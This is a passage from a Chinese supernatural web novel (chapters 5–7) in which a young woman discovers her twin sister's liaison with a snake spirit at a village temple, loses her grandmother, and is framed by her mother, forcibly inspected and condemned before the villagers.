银杏胆大地拍拍胸脯: “怕什么,我和我爸不是你们阴苗族人,你们的族规管不住我,而你,还有宋婆婆给你撑腰呢! 就算被发现,咱们俩也不会受鞭刑,顶多被家长带回去骂一顿。” 她说得也对啊! 况且,如果我们谨慎些,不被别人发现我们偷偷上山了,就没人会知道我们去过娘娘庙…… 我没有犹豫太久。 半分钟后,抓住银杏的手腕就果断应道:“走,我们现在就去!” 这会子,太阳正好刚落山,月阴村里家家户户思想都紧绷着呢。 往常这个时辰外面连一个人影都撞不见,现在抄小道上山最安全,而且我们应该能在八点钟前到达娘娘庙! 银杏被我这么强的执行力给惊住了,踉跄站起身,紧张提醒我: “镜、镜镜!先别跑啊,你外婆、外婆那边还没打招呼呢。” 外婆这几日每天傍晚都会在堂屋后的内室打坐,一坐就是一整夜,我就算整晚都不回来,她应该也不会发现。 我伸手拉上院门,冲院子里大喊了一声:“外婆,我和银杏去她家玩了!” 不等外婆回应,我就拽着银杏快步跑开了。 “这样能行吗?你外婆会不会怀疑啊?”银杏小跑着跟上我,裙琚边的蝴蝶银铃铛叮叮作响。 我淡定道:“我打小就常往你家跑,动不动就去你家找你一起睡,蹭你家的电扇暖炉,我外婆早就习以为常了。” 银杏呛住:“那倒是……” 我俩趁着天还没有彻底暗下来,昏黄天光勉强能照亮上山的路,特意挑了一条平时很少有人走的陡峭近道上去—— 拎着沉重的裙摆,爬了一个多小时,才顺利摸到娘娘庙的山门前。 此时的娘娘庙里,千盏灯火摇曳,万条许愿红绸在清冷夜风中肆意翻飞。 高大庄严的山门牌楼下挂着两只瘆人的血红灯笼。 灯笼里,烛光忽明忽灭,晃得厉害,宛若蛇鬼的犀利眼眸…… 娘娘庙外的香炉鼎内还插着许多未燃尽的长香,白烟袅袅腾空冉起,氤氲了殿内明光。 放眼望去,娘娘庙八扇落地朱门整齐地敞开着。 庙堂正中,神娘娘身披彩衣,头戴凤冠,脚踩金凰,手中捻着一朵栩栩如生的青莲花…… 慈眉垂眸,亭亭肃立,神圣威仪。 一点也不像会害人的恶神。 银杏扶腰气喘吁吁地拍胸脯,隔着萦萦烟雾看见庙中神像,立即敬畏地弯腰礼拜:“既然来了就拜拜吧!” 我也紧跟着朝神像拜了三拜。 拜完,银杏牵住我的手与我说: “听我爸讲,那些男人都是被异香引进了娘娘庙后边的慈善堂,我们去慈善堂看看!” “好。” 我和银杏手拉手绕到了神殿后方,穿过一片花草茂盛的园林。 刚来到系满信众祈福红带的紫藤花架下,我就嗅到了一股、怪异的腥臭味…… 像是鱼身上的腥味,又夹杂着一丝丝,类似于石楠花的臭味! 那刺鼻的气味沿着鼻腔进入肺腑,直冲天灵盖。 熏得我双眼酸涩,差点当场吐出来。 “镜镜,你怎么了?”银杏担忧停下来,一脸迷茫地问我。 我捂住鼻息,同样诧异地问她:“你没有闻到一股臭味吗?” 银杏不明所以地摇头:“没有啊……” 用力耸了耸鼻尖,努嘴道: “还是没闻到,附近只有香火味与树木绿叶的气息,哪来的臭味啊?” 为什么银杏闻不到? 难不成是我嗅觉出问题了? 我尝试着把手放下来…… 可那股令人作呕的腥臭味还是游荡于鼻前,熏得我全身不适,胃里翻江倒海。 我还想再找银杏确认一遍,谁知银杏这不靠谱的姑娘却被草丛里的一条花蛇给吸引去了注意力—— “极品大花蛇!这可是炼蛊的好原料!” 不等我出声阻拦,银杏就拎着缀满银蝶的裙摆,抬腿迈出了紫藤花廊,跳进草丛追那条大花蛇去了。 我惴惴不安地张了张嘴,想把她喊回来,又怕惊扰了庙里的东西…… 我拿银杏没办法,只好打算跟上银杏。 可,我一条腿刚迈出紫藤花廊,就耳力极好地听见,右侧的一处神殿里,传出了一道酥骨暧昧的女子呻吟声—— 和昨晚我梦里的声音,好像。 不对! 大晚上的,娘娘庙里怎么会有女人。 而且听这动静,里面的人不像在干好事…… 一晃神,银杏的身影就消失在了视线里。 我顾不上去找银杏了,在强烈的好奇心驱使下,放轻脚步,缓缓走近传出怪声的右侧偏殿。 殿内烛火明亮,怪影印在灰墙上,快速起伏抖动—— 殿门口笼罩着朦胧的粉红烟雾,越靠近那座偏殿,空气中的腥臭味就越浓烈。 我强忍住要作呕的冲动,捂住口鼻,心跳如鼓地步步逼近…… 阴风扫得殿外灯笼咯吱咯吱摇曳,斑驳烛影在青石花砖上来回晃动。 神殿两侧盛放着不属于这个时节的妖异桃花—— 我屏气凝神地走到殿门口,里面女人的风骚浅吟声声入耳,时而急促娇嗔,时而舒适喟叹…… 第5章 圣女床上的长蛇 我不敢直接进殿,拎起裙摆,拨开横斜桃花,小心翼翼地扒上雕花镂空的木窗。 放眼看进去—— 却见到偏殿的右配屋里安放着一张老木月洞床,月洞床边垂落着妖艳的大红床幔。 红纱起伏间,隐约能见到,床上跨坐着一名身材婀娜的妙龄女子…… 屋里粉雾氤氲,妖气冲天。 就在我捂着口鼻被惊得脸颊滚烫,心跳极快时,更让我意想不到的一幕出现了—— 忽有妖风掀起床边一片红纱帐,床幔扬起的那一瞬,我恰好看清了伏在妖物身上低喘娇吟的年轻女子真容…… 柳叶长眉,妩媚的上挑狐狸眼,粉腮红唇,眉心绘着一抹象征身份的朱红凤凰花钿…… 这张脸,这抹花钿,分明就是我的双生姐姐宋花枝! 我呼吸一窒,顿感寒意从脊梁骨窜上了后脑勺。 不可思议地看着里面这一幕,我脑子空白了半晌。 娘娘庙里的异香,难不成就是从姐姐身上传出来的?! 屋里的娇艳女子身上未着寸缕,松散的发髻上插着一枚银蝶花簪。 有东西缠绕在她纤细的腰肢上,卷着她翻云覆雨。 红纱帐缓缓垂落,可不多时,姐姐突然仰头倒在了床边,伸出一条雪臂。 媚眼如丝地挽起床边一片火红纱幔,细语嘤咛:“慢些,急什么,长夜漫漫,我有的是时间陪你……” 说罢,染了蔻丹的纤长红指甲轻轻刮弄那东西的腰腹。 我的脑子里嗡的一下,彻底崩乱了! 这声音,也是姐姐…… 我呆呆看着仰躺在床上的姐姐兰花指捏起红纱,以纱幔遮面,轻摆柳腰,一脸享受地与那条妖物翻云覆雨,心脏砰砰跳得厉害! 不敢再看下去,我魂不守舍地着急从神殿窗边跑开。 姐姐不是在娘娘庙发过誓,要终生不嫁,以纯洁之身供奉长生泉吗? 她不是整个苗域最纯洁的女子吗! 她怎么能、和妖物苟合…… 她是疯了吗? 我失魂落魄地刚跑回紫藤花架下,银杏就突然拎着一条红花蛇从漆黑夜幕里冒出来,猛地跳到我跟前:“镜镜,看我抓到了……” 我不等她说完就一把捂住了她的嘴,紧张提醒:“嘘,别说话!” 红花蛇在银杏手里拼命挣扎着,银杏徒手捏着花蛇脑袋,皱了皱眉,安静下来,轻呜两声。 我这才慢慢将手从她嘴边拿下来。 “怎么了?”银杏小心翼翼地低声问我。 我拉住银杏的手腕,把银杏扯去红雾氤氲的偏殿附近,带她躲进偏殿左侧光线昏暗的竹林里,猫在巨石后。 谨慎地提醒她:“不管看见什么,都千万别出声!” 银杏乖乖点头,解下腰间装了符纸的布袋,把花蛇灌进去—— 不多时,神殿内再次传来女人亢奋的叫声。 银杏顿时激动起来,想开口说话,又猛地想起了什么,硬生生把话憋了回去。 大约过了半个小时,一条碗口粗五六米长的大黑蛇才心满意足地从神殿里爬出来,尔后踏雾乘风离开了娘娘庙…… 银杏被眼前这一幕吓得瞪大双眼。 不久后,姐姐披着薄纱的身影出现在殿门外,更是吓得银杏脸色苍白,不知所措地着急晃我胳膊! 我拍拍银杏的手背,头皮发麻地无声安抚她。 姐姐衣衫单薄地在门口站了一会儿,忽然,又一抹人影出现在小道另一头—— 木讷的人影渐行渐近,等殿门外的灯笼照清男人的面容时,我和银杏才认出来,那是村里老刘家的大儿子! 此时的刘家老大像是被灌了迷魂汤,目光浑浊,神志不清,整个人都浑浑噩噩…… 见到姐姐后,刘家老大眼里流露出贪婪的光芒,二话没说走到姐姐身边,抱住姐姐,一手往姐姐胸前抚了把。 像做春梦一般,对姐姐馋得流口水,迫不及待就低头吻住了姐姐的红唇。 一番啃咬后,直接将姐姐打横抱起来带进了神殿…… 紧接着,就是男人的急促喘息声,与女人的娇软媚笑声—— “哥哥,瞧你这猴急样,别咬,痒……” “阿枝,你好美啊……人美,身子更美。” “那哥哥,你喜欢阿枝吗?” “喜欢,我想把阿枝娶回家……” “呵,那可不行呢……” 后面的话,听得我脑子里乱糟糟的。 心烦气躁。 弄明白娘娘庙里秘密后,我拉着已经被吓傻的银杏着急逃离娘娘庙。 不知道为什么,我总有种今晚要出事的预感…… “镜镜!”临出娘娘庙山门时,银杏突然拉了我一把。 我惴惴不安地停下,蓦然抬头,竟猛地看见有道高大身影挡在我眼前! 那身影穿着一袭宽大的墨色青云纹祭司袍,手里拄着象征大祭司身份的乌灵木权杖。 黑发高高盘起,髻上簪着鸾鸟蝴蝶银饰。 眉眼冷漠,一派威严,面无表情地垂眼睥睨着我。 像之前那几次一样,见到我这个小女儿……眼里没有母爱的慈光,只有不屑与嫌恶。 母亲冷肃质问:“你们在这里干什么!” 银杏壮着胆子挡在我身前,仗义道:“是我拉着镜镜上山拜神娘娘的!有什么冲我来!” 我清楚母亲整治人的手段,赶紧将银杏拽回来,低头装窝囊: “妈,外婆让我来娘娘庙取香灰。我一个人不敢上来,就让银杏陪我一起上山了。” 母亲狐疑挑眉:“是么?那香灰呢?” 银杏一僵,被我握住的那只手,掌心顿时一片潮湿。 我胆怯地把腰间那枚绣了莲花的金黄香囊拽下来,送给母亲检验。 母亲接过东西,半信半疑地瞟我。 拉开香囊,倒出里面的一点香灰在掌心,送到鼻前嗅了嗅…… 确认香囊里的确是娘娘庙的香灰后,母亲才把香囊送还给我。 我双手接了香囊,心底暗暗松了口气。 总算是逃过了一劫…… “妈,我和银杏先走了。”我拽上银杏仓皇要逃。 可刚走几步,母亲突然开口又问:“我娘,她老人家身体还好吗?” 打我记事起,我就知道母亲和外婆关系不好。 她们母女之间有个心结在,心结具体是什么我并不清楚。 我只晓得,外婆和母亲的感情很奇怪。 外婆心疼母亲,但似乎又在责怪母亲些什么…… 母亲也怨恨外婆,可母亲,好像也会期待得到外婆的关心。 母女俩一个比一个犟,谁都不愿意先低头。 所以这些年,母亲很少主动来我家看望外婆。 外婆平时无事,也绝不去找母亲。 “外婆身体很好,妈,你不用担心。”我认真回答。 然而,母亲听完却冷哼一声,阴阳怪气道: “是么?她老人家还真是身体硬朗!这么大岁数了,也该解脱了!” 母亲的话让我觉得无比刺耳。 毕竟,她可以不要外婆,我却只有外婆这一个亲人! 我拉上银杏没有再搭理她,趁着夜还不深,急匆匆下了山。 回家路上,银杏没忍住地好奇问我:“你什么时候装的香灰?我怎么不知道。” 我心慌意乱道:“我腰间这个香囊里装的一直都是娘娘庙的香灰,都戴好几年了。” 说起香灰,记得我十二岁生辰那天,外婆特意赶早上山去娘娘庙求了一把香灰。 回来后就将香灰装进了亲手所绣的香囊里,帮我系在了腰间。 外婆说,娘娘庙的香灰能保佑我无病无灾,在二十二岁之前不会见血光。 外婆叮嘱我一定要把香灰日日随身携带,除了沐浴下水之外,绝不能离身。 这些年我一直听外婆的话,每天腰上都挂着这枚香囊。 也的确,从十二岁到现在,我从未遇见过什么大灾大难。 就连感冒发烧的次数都极少。 可今年我就二十二岁了,上个月我刚过完生日。 不晓得这个香囊还管不管用了,回去有时间得再问问外婆。 银杏恍然大悟:“原来你这香囊里装的是香灰啊,我还以为是什么香料呢!” 银杏家离得远,我特意先把银杏送回去,之后才一个人匆匆赶回自己家。 凌晨一点,我悄悄推开自家院门,进去后,再蹑手蹑脚地把门从里闩上。 本以为外婆在这个时辰都已经睡熟了…… 谁知我转身的那一瞬,院子里的电灯顿时全都亮了起来! 外婆则披着那身多年未见她再穿的藏青凤纹祭司礼袍,拄着槐木拐杖,面色难看地站在院子里等我。 “外婆……” 我胸膛内的心脏狠狠一跳,看着盛装打扮的外婆,隐隐有种不祥的预感,“我、我刚从李大叔家……” 我结结巴巴地撒谎。 不等我说完,外婆就拄着拐杖,手里捻着檀木珠,幽幽叹气: “该来的,终究还是来了!罢了,外婆只能帮你到这了。” 外婆她都知道了? 她老人家如果这会子臭骂我一顿,我反而会觉得心里踏实些。 可她,竟不怪我。 “外婆,对不起,是我没听你的话。”我内疚地走到外婆身边,乖乖抱住外婆。 不过,这一抱,我又闻见了外婆身上的腐臭味…… 外婆如往常一般,慈爱地抚摸我脑袋,只是今晚的嗓音略带沙哑哽咽:“镜镜,外婆放心不下你啊。” “外婆……” “以后遇见难事,就去找你李叔,他会帮你的。” “李大叔?” 心底那股不祥预感愈发强烈,外婆今晚怎么突然和我说这些…… 像是,在交代后事。 我越想心越乱,闷头埋在外婆的肩上,眼眶一热,害怕道: “外婆你今晚怎么了?你是不是有什么事……外婆,你别吓我!” 外婆拍拍我的后背,慈祥轻笑: “傻孩子,外婆能有什么事。外婆是说,既然你都看见了,那以后,你的日子肯定不太平。 外婆老了,难免会有护不住你的时候,外婆都和你李叔说好了,以后他会帮忙照应你的。 外婆是心疼镜镜,多好的一个孩子啊,她怎就、舍得不要你。” “没事的,外婆。” 我抱紧外婆,企图从外婆身上汲取到一丝安全感,“只要有外婆在,我就什么都不怕,什么也不缺。” “乖孩子。” 外婆今晚对我格外温柔。 非但没有因为我不听话私自上山进娘娘庙怪罪我,还破天荒地来我屋,拍着我的肩哄我睡觉。 恍惚间,像是又回到了我小时候,外婆每晚都会给我唱儿歌哄我入眠的那段时光。 次日,我是在一阵喧哗中被惊醒的。 不知是什么原因,才早上五六点,我家院子里就聚满了村民。 窗外还时不时传来女人与幼童的啼哭声。 我猜想可能是村里又出什么大事了,就着急忙慌地起床穿衣服。 可怪的是,我从被子里爬出来,蓦然发现自己身上的绣花里衣不见了! 我不记得前一晚睡前我脱过内衣…… 而且翻遍整张床,也没找到我的衣服。 外面的哭嚷声愈发洪亮,我来不及纠结里衣到底被我扔哪去了,在柜子里随便找了件新内衣换上。 随后披上外衣,用银花簪挽好长发,整理好身上衣物才打开门跑出去。 家里院子被村民们围得水泄不通,但堂屋门口,却被村民们有序让出了一块圆形空间。 堂屋里只有憔悴的赵村长与冷着脸的李大叔坐在门边长吁短叹。 “让一让!” 我拨开人群艰难挤进去,不明状况地站在门口问村长和李大叔:“赵叔李叔,发生什么事了?” 李大叔见到我,眉头不由紧蹙:“镜镜,你家出事了。” 第6章 灰狐仙要宋家的女儿 “什么?”我愣了下,还没弄明白他说的出事到底是什么意思,就听身后村民们纷纷哭着跪下来哀嚎:“老祭司一路走好!” “老祭司走好——” 老祭司三个字犹如一道晴天霹雳狠狠炸在我的灵台。 我瞬间湿了眼眶,心脏似被无数条丝线密密麻麻地包裹勒紧,疼得我双腿发软,不敢呼吸。 “外婆!” 我情绪激动地要往里屋闯,赵村长与李大叔却无情拦住了我,不许我去见外婆:“镜镜!你冷静点!你外婆现在的样子不大好,你别去看!” “镜镜,你外婆已经走了,你就别去惊着她的魂了!” 我接受不了的崩溃大哭,拼了命的挣扎,执意要去见外婆最后一面:“你们让开,我外婆昨天还好好的,今天怎么突然就不行了呢!” 赵村长于心不忍:“镜镜,你外婆上了岁数,人老了,都有这一遭。” “可昨晚外婆还在我床前哄我睡觉!” 我无助的痛哭哽咽: “外婆不可能突然就没了!赵叔,你让我进去看看外婆吧,我外婆没死,她肯定没死……” 赵村长为难坚持道:“镜镜啊,这是你外婆的遗愿!你外婆嘱咐过我和你李叔,不让你看见她死后的样子。” “但她是我外婆啊,我只有这一个亲人……她走了,你们难道还要剥夺我见她最后一面的权利吗!”我撕心裂肺的哭着祈求。 趁老村长心软动容,扑通朝他跪下,不停的给他重重磕头:“赵叔,我求你了,你就让我再见外婆一面吧,我求你了……” 我悲痛欲绝砰砰用脑袋砸地,不消片刻,地上便一滩黑迹。 赵村长见状不知所措的焦急道: “哎呀镜镜,你这又是何苦呢……这是老祭司的吩咐,我们不敢不从啊!” 我不知道为什么向来疼爱我的外婆会在这种时候不允许我再去送她最后一程,我接受不了至亲一夜之间突然殒命。 哪怕,这一切都早有征兆…… 后来,李大叔总算是看不下去了,一把拽住我的胳膊将我从地上拎起来,皱着眉头冷冷道:“你想去见,就去吧!只是,看了别后悔。” 我憋住哭腔意外地看了眼李大叔那张饱经沧桑的严肃老脸,得到他的允许后,又害怕他反悔,二话没说就直奔外婆平日打坐修炼的里屋去—— 赵村长没料到李大叔会松口,来不及再拦我,纠结道: “哎呀老李,你怎么能把她放进去了呢,老祭司临终前的交代,你都忘了么!” 李大叔冷淡平静道:“人都走了,何必还要给活着的人留个一辈子都无法释怀的遗憾。” 赵村长顿时语塞:“你……” 我掀开蓝布门帘,甫一冲进去,就被里屋燃着的几十支蜡烛给晃花了眼。 外婆的尸体就平躺在铺满鲜花的木板上。 “外婆!”我瞬间泪流满面,大步跑到外婆的尸体旁,泪眼朦胧地去抓外婆手…… 可,我隔着外婆的衣袖,抓起外婆的手,却感觉到……外婆的手指,好像比从前细了些。 手腕上,也完全没有了皮肉的松软感。 外婆身上,依旧笼罩着那股子熟悉的腐臭味。 想起这几天,外婆身上愈发强烈的臭味,一个大胆的猜测在我心头缓缓滋生…… 我伸出颤抖的指尖,轻轻拨开外婆脸上的银色珠帘面罩。 银珠面帘随指尖拨到一边,露出外婆那张皮肉收缩,双眼下凹,颧骨凸起,乌口半张的尸容—— 外婆的脖子上,尸斑已经长满了颈部。 此刻的外婆,像极了电视鬼片里的……干尸。 尸体已经干成了这个程度,外婆,恐怕死了不止一两天…… 我难以接受地捂住嘴,腿上一软,跌坐在地,呜咽着闷声痛哭。 门口有光透进来,李大叔的高大身影站在蓝布门帘后。 我跪爬到李大叔腿边,拽着李大叔的袖子泣不成声地问:“我外婆、到底是怎么死的?” 李大叔扶着我的胳膊把我从地上搀起来,面无表情道: “你猜出来了。你外婆的确早就死了,死于反噬。她身为鬼师,却为你破了规矩。她救了你一命,自然要用她自己的命来换。” “外婆是为了救我死的?”我错愕地愣愣盯着李大叔。 李大叔镇定提醒: “三天前,四月十四那晚,你外婆又画了一张鬼符,那是第三千零一张。 多出来这张鬼符,是续命符。宋鸾镜,你真的忘记了吗? 你外婆生前画的最后一道符,就在你身上!” “鬼符,三千零一张……最后一道,在我身上?!”我脑子里一片混乱。 四月十四那天,外婆让我去娘娘庙供一盏莲花灯,从娘娘庙回来后我就浑浑噩噩全身不舒服,不知不觉就睡着了。 那晚外婆回来后,家里发生了什么,我一无所知。 我身上又怎么会有外婆画的鬼符!这些天我根本没在自己身上发现任何符纸! 我不相信地着急翻自己衣服口袋:“外婆的最后一道符怎么可能在我身上,没有啊,我身上……” 话没说完,我伸进上衣口袋的手指就触碰到了一张表面粗糙的纸条…… 心头骤然一窒,我慌促地把东西掏出来。 下一秒映入视线的,正是一张折成三角形的、黑鹰血黄符! “怎么会这样……”我颤声哽咽,迷茫大哭。 李大叔深叹道: “如果没有你外婆,现在躺在这里的人,应该是你。 你是你外婆用性命护下来的孩子,以后的路,该你自己走下去了。” 李大叔说完,意味深长地拍拍我肩膀,转身离开。 徒留我一个人跪在外婆的屋里捧着那张鬼符泪流不止。 为什么,我年纪轻轻就要死了…… 是外婆用自己的命换了我的命。 该死的人明明是我啊! —— 外婆的后事因为有李大叔与村长的帮衬办得还算隆重风光。 但,我给外婆守灵的这两天,村里又发生了桩怪事—— 那些进过娘娘庙的男人突然一个个都清醒了! 李大叔去给他们把过脉,也并没有发现他们身体有任何异常…… 只是他们都一致忘记了自己进入娘娘庙后,发生过的事。 族人们都以为娘娘庙的神罚要结束了,纷纷松了口气。 我也因为沉浸在外婆骤然离世的悲痛中,没顾得上将前两天在娘娘庙的所见所闻告诉李大叔…… 不过,那晚银杏也在。 银杏是李大叔的闺女,回去后肯定会把这个秘密说给李大叔听。 说来,我已经好几天没见到银杏了。 肯定是因为银杏偷偷和我上娘娘庙惹李大叔生气了,所以李大叔又把银杏关起来了。 而就在族人们放松警惕,纷纷跪拜神娘娘,感恩神娘娘大发慈悲放族中男人们一马时…… 当天傍晚,天上忽然下起了血雨! 雨水噼里啪啦从傍晚四五点砸到深夜十来点。 有族人不小心被雨水淋到,不久就发现,身上但凡沾染过雨水的地方,都长出了血淋淋的烂疮。 疮里,还生出了血红色的狐狸毛! 下血雨那会子,我正一个人跪在外婆棺前烧纸。 外面狂风骤雨,族人们的惨叫声刺耳瘆人。 我缩在火盆前,默默往外婆棺边跪了跪,避免被飘进屋的雨水淋到…… 雪白的铜钱状冥纸被我丢进火舌汹涌的铁盆里。 我擦了擦脸上的泪水,余光突然瞥见自己雪白的手腕上……空荡荡的。 外婆给我的莲花镯怎么没有了? 奇怪,莲花镯我从小戴到大,从没取下过。 怎么突然就不见了? 难道是今天出门给外婆报庙,不小心弄掉了…… 好在,外婆给我的蛇瞳戒指还戴在手指上,没有被我粗心遗失。 我害怕自己粗枝大叶,明天外婆还要出殡,又不小心把戒指也搞没了,就打算先将蛇瞳戒指摘下,收起来,等忙完这一阵再戴。 可无论我怎么用力拔无名指上的银戒,那戒指都像焊在我指尖似的,分毫不动。 拔得我指侧的皮都要被扯掉了,也没能将它成功取下来。 我疼得实在受不住,赶紧往戒指勒疼的手指上吹吹,打消了将戒指取下来的念头。 反正它戴的紧……我拔都拔不下来,应该也不会不小心弄丢。 我低头,继续边小声啜泣,边给外婆烧纸…… 堂屋里的大摆钟铛铛敲响十下。 沉闷的钟声在耳边荡漾开,再缓缓消散。 没过几秒,我突然感觉到心口猛一阵刺痛—— 一股灼热自胸腔迅速逆流而上,抵至喉头! 下一刹,我痛苦绷紧太阳穴,瞪大双眼,忍不住的一口猩红喷进火舌抖动的烧纸盆—— 眼前一黑,失去意识摔倒在地。 恍惚中,我仿佛还能听见外面的雨打青石地砖声…… 能听见,年轻女子拖着哭腔焦急询问: “妈,这样能行吗,真的能让那只畜生把宋鸾镜认成我吗?” 还隐约能感受到,两片冰凉的薄唇,轻轻覆在我的唇上。 软舌撬开我的唇齿,将一泓冰凉渡进我的口中…… 手被另一只骨节分明的大手抓住,温柔紧扣。 “鸾鸾……本尊的、爱妻……” 次日。 隔壁的张婶子一大早就来给外婆烧纸,顺便还给我另一个骇人消息。 “昨晚那血雨下了大半夜,到子时才停! 大家好不容易松口气,谁知道子时过三刻,娘娘庙那头竟响起了惊雷霹雳。 哎呦,一时间外面飞沙走砾,全是黄雾! 狂风吹了接近半个小时,村子上空,竟又飘起了晦气的雪白冥钱。 村长害怕要出什么事,就带咱们去找你母亲大祭司,想让大祭司帮忙占卜吉凶。 结果你猜怎么着! 我们刚推开大祭司家的院门,就看见大祭司家里,竟凭空出现了一顶花轿! 那花轿,红彤彤的,轿杆与轿顶,都是用动物骨头制成的,轿顶还开满了像血一样的怪花! 我们进去的时候,一堆叼着死鸡的黄鼠狼正规规矩矩排着队像模像样地给你母亲家下聘呢…… 哦对了,有只黄鼠狼还送给你妈一张婚书,当着我们的面啊,就口吐人言。 说山里的灰狐大仙看上宋家闺女了,让你母亲在三天内老实把闺女送上花轿,嫁给灰狐大仙。 啧啧,还说,宋家的闺女天生媚骨会勾引人,是宋家姑娘主动引诱的灰狐大仙。 灰狐大仙遵守诺言,特地让手下叼了九十九只死鸡来宋家下聘。 如果三天后宋家闺女没有上灰狐大仙的花轿,灰狐大仙就让咱们整个月阴村不得安生!” 张婶子抓了把冥钱扔进火盆里,皱着眉头和我倾诉: “昨晚村里人当场就恼了,要知道宋家姑娘那可是咱们整个阴苗族的圣女。 族里谁不晓得,圣女是咱们族最纯洁的女子。 圣女早就在娘娘庙发过誓,要终生不嫁,用纯洁之身供养族中的长生泉! 如果真如那些仙家所说,宋花枝背地里与山里的野仙苟合,那她以后还怎么供养长生泉,怎么让我们延年益寿! 我们就逼问圣女和大祭司,到底是怎么回事。 可大祭司与圣女都一口咬定是那些仙家弄错了,圣女还在雷霆之下发了誓,说与野仙苟合的绝不是她,身有媚骨的也不是她。 我们瞧圣女那义正言辞的样子,的确不像撒谎,所以赵族长就从中调和,让我们稍安勿躁。 大祭司也许下承诺,说三日内必给族人们一个交代,找出藏在族里引诱野仙,身怀媚骨的妖女。 哎,你说老祭司才刚走,村里怎么就发生了这种事!” 在娘娘庙引诱野仙的人的确就是姐姐,看来姐姐这次是碰到硬茬了。 招惹了野狐仙,野狐仙只是来求娶已经算对月阴村很仁慈了。 张婶子说着,又好奇地呢喃道: “那些仙家口口声声要宋家的姑娘,宋家不就只有两个姑娘吗,一个是圣女,一个是你。” 我低头烧着棺前纸,今天外婆出殡,我实在没有闲心管别人的事。 况且,外婆都过世两天了,我母亲和姐姐竟然连来送外婆最后一程都不肯。 她们到底有多恨外婆! 外面天渐大亮,来给外婆抬棺出殡的族人们也都相继到位了。 清晨六点,我抱着一只腿上系着红绳的大公鸡,跪在外婆棺前给外婆磕了三个头…… 随着村长一声嘹亮的:“起棺——” 八名青壮年抬起外婆的棺木,准备送外婆出门。 可就在我抱着为外婆引魂的公鸡,泪眼朦胧地打算送外婆入土为安时,院子里突然涌进一群穿黑衣、手拿木棍的陌生男人! 我认得那些人身上的服饰,他们是长老会的……打手! 一般只有在族里出了叛徒或者有人严重违反族规的情况下,大祭司才会下令出动长老会的打手。 今天他们突然出现在我家,直觉告诉我,绝不是来送外婆出殡的! 送棺队伍停了下来,赵村长最先发觉不对劲,走上前问一名黑衣打手:“你们怎么来了?今天老祭司出殡,你们怎么还穿成这样!” 然而赵村长话音刚落,我那位高高在上、尊贵无比的母亲就拄着乌神木权杖大步迈进了院门,威严斥责:“是我让他们来的。” 赵村长为难的有意阻止:“大祭司,今天是老祭司出殡的日子,您有什么事,先缓一缓,别让老祭司走得不安。” 可母亲却不容置喙的严肃反驳:“再缓,咱们整个月阴村都要不得安生了!” 第7章 让她嫁阴尸! 来为外婆送行的族人们听见这话俱是惶恐地交头议论起来。 张婶子不明所以地请教:“大祭司,你这话是什么意思?” 我紧紧抱住怀里的大公鸡,不知道为什么,母亲出现了,我却最是焦躁不安。 母亲冰凉如刀刃的眼神忽然移到我身上…… 一时间,仿佛万千汹涌寒浪扑面袭来,将我骤然包裹住,不给我喘息的机会。 “本祭司已经查出这段时间,在娘娘庙祸害族人,与野仙淫乱苟合的人是谁了!” 母亲死死盯着我,一字一句地咬牙说道:“就是……宋、鸾、镜!” 我陡然怔住,脑子里轰的一声,震得双耳嗡鸣! 院子里的族人们一时也傻了眼,看我的眼神渐渐从悲悯转变为憎恨厌恶—— “什么?和野仙苟合的人是宋鸾镜?不可能吧!” “宋鸾镜是老祭司带大的女孩,怎么可能那么不自爱,下贱的和妖物苟合?” “大祭司你是不是弄错了?” 我抱着大公鸡赶紧为自己辩解: “不是我!我从没见过山里的野仙家,怎么可能和它们……有那种关系!” 母亲冷冰冰地凝视我,“是不是你,验一验就知道了!” 随后一招手,直接命身后两名面无表情的中年女人走上来,强行按住我…… “你们干什么,放开我!”我害怕地紧抓着公鸡,本能的挣扎反抗。 大公鸡也被此刻这一幕惊住,吓得在我怀里疯狂扑扇翅膀,咯咯狂叫。 而根本没等我反应过来她们到底想干什么,我身上的麻裙就被中年女人粗鲁撕开—— 随即当着那么多外人的面,将手送进了我的裙摆下! 我还是个没出嫁的姑娘,哪里见过这种阵仗。 衣裙被撕裂那一刹身上虽没走光,可陌生人的手指却让我深感羞耻的同时,痛到窒息! “放开我,放开我!你们干什么!” “二丫头,我劝你还是老实点,你挣扎得越厉害,痛的越厉害,到时别怪婶子们下手没轻没重!” 短短几秒钟,却好似让我承受了数百年的身心羞辱! 中年女人故意下手极重,我咬牙忍着剧痛,含泪抱着公鸡,随后被两名中年女人用力推倒在地。 两名中年女人检查完,郑重向众人宣布结果:“宋鸾镜,不是处子身!” 不是处子身几个字,炸得我脑中一片空白! 怎么可能,我明明没有和男人在一起过,为什么会不是处子身…… 我人还浑噩着,身旁的村民们就已经开始鄙夷怒骂我了—— “原来不要脸的人是宋鸾镜啊!” “该死的荡妇,小小年纪不学好,勾搭谁不行,勾搭山里的野仙家!” “这下好了,害我们整个村子的人,都得和你一起担惊受怕!” “贱人,淫妇!” 还有人骂到激动处,随手抓了把喂鸡的烂菜叶子朝我扔过来—— “我没有,不是我……妈!” 我哭着伸手想去抓母亲的衣摆,祈求母亲给我做主…… 可直到我的手被母亲狠狠碾在脚下,我才知道我想向她求救的念头有多荒唐。 “别叫我妈!” 母亲冷漠垂眸看着颤抖落泪的我,无情宣判我的罪名: “宋鸾镜,你在娘娘庙装神弄鬼,和野仙苟合,还害死了村里那么多人,我真为有你这个女儿,感到耻辱、恶心! 你玷污了娘娘庙那等神圣之地,按族规,当处死!” 处死? 我昂头,闷声抽泣着对上母亲那阴狠的目光,突然觉得好笑。 外婆刚过世,她就迫不及待想铲除我了。 既然她们不顾及母女姐妹之情,那我也没必要给她们遮羞了! 我用力将被她踩在脚下的那只手抽回来,憋住眼泪,跪坐起身,盯着她大声说: “在娘娘庙里勾引人的不是我,明明是宋花枝!是你另一个宝贝女儿!” 只是这回,没给族人们反应的机会,母亲就扬手猛地抽了我一巴掌。 我没防着她突然来这一招,顿时就被扇得喷出鼻血左耳短暂失聪…… 头昏脑最厉害那半分钟,我听见母亲震怒控诉: “你自己干了丢人的事还敢污蔑你姐姐,你姐姐是圣女,而你,就是个抢圣女气运的孽种!你这种肮脏东西,也配和你姐姐比!” 我狼狈地坐起身,搂着给外婆引魂的公鸡,抬手擦了把鼻血,苦笑道: “打小,你就说我是抢姐姐气运的孽种,我不明白,我只是想活,怎么就成了,抢姐姐气运! 当年是你怀了双生胎!是你孕育了我,可你又想杀了我! 妈,娘娘庙的事你真的一无所知吗? 就因为那个人是宋花枝,所以你为了保她,不惜拿我出去抵债!” “你这个混账东西!”母亲失了稳重握着权杖破口大骂:“你就是个灾星祸害,你害死了你外婆,还想害死你姐姐!” 周围村民不知所措地低声嘀咕: 